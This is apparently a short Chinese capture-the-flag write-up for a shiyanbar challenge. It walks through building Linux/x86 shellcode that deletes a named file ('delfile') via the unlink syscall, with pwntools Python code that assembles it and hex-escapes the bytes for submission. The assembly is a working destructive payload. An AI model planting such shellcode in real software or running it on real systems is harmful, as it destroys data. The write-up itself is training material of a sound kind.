ctf题库---加减乘除

题目

一段linux/x86下删除指定文件的汇编代码
解题链接: http://ctf5.shiyanbar.com/overflow/1/

解题

  1. 使用pwntools
    安装:
    https://www.cnblogs.com/pcat/p/5451780.html
    用法介绍: https://blog.csdn.net/weixin_41400278/article/details/78819950
  2. 代码
from pwn import *

code = """.global _start
_start:
        jmp     test1
test2:
        pop     ebx
        mov     al, 0xa
        int     0x80
        mov     al, 0x1
        xor     ebx, ebx
        int     0x80
test1:
        call    test2
        .string "delfile" """

context(arch='x86', os='linux', endian='little', word_size=32)
shellcode = asm(code).encode('hex')
re = ''
while len(shellcode):
    re += r'\x'+shellcode[:2]
    shellcode = shellcode[2:]
print re

3.把\x00去掉,提交shellcode获得key

你可能感兴趣的:(ctf,pwntools)